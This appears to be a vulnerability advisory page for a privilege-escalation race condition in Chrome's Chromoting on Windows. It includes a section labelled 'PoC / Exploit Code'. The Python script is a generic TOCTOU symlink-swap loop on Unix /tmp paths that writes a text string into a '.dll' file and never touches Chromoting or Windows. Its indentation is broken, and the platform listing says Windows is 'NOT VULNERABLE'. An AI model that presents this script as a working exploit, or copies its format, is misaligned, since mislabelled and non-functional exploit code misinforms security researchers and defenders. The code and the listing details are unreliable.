Race in Chromoting in Google Chrome on Windows prior to 148.0.7778.96 allowed a local attacker to perform privilege escalation via a malicious file. (Chromium security severity: Medium)
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 148.0.7778.96 (Windows)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import os
import time
# Conceptual PoC for Race Condition in Chromoting
# This script simulates a TOCTOU attack often used in privilege escalation
# It attempts to swap a legitimate file with a malicious symlink before the check is complete.
MALICIOUS_FILE = "/tmp/malicious_payload.dll"
TARGET_FILE = "/tmp/legitimate_config.dat"
def exploit_race_condition():
print("[*] Starting race condition exploit simulation...")
# Attacker prepares the malicious file
with open(MALICIOUS_FILE, 'w') as f:
f.write("Malicious Code Execution")
try:
while True:
# Step 1: Attacker creates a symlink to a privileged location
# simulating the race window during Chromoting file check
os.symlink(MALICIOUS_FILE, TARGET_FILE)
print("[+] Symlink created, attempting to trigger vulnerability...")
# Simulate the small time window where the application checks the file
time.sleep(0.001)
# In a real scenario, the application would load TARGET_FILE here
# Due to the race, it loads the MALICIOUS_FILE with higher privileges
# Cleanup for simulation loop
os.remove(TARGET_FILE)
except KeyboardInterrupt:
print("[!] Exploit simulation stopped.")
if __name__ == "__main__":
exploit_race_condition()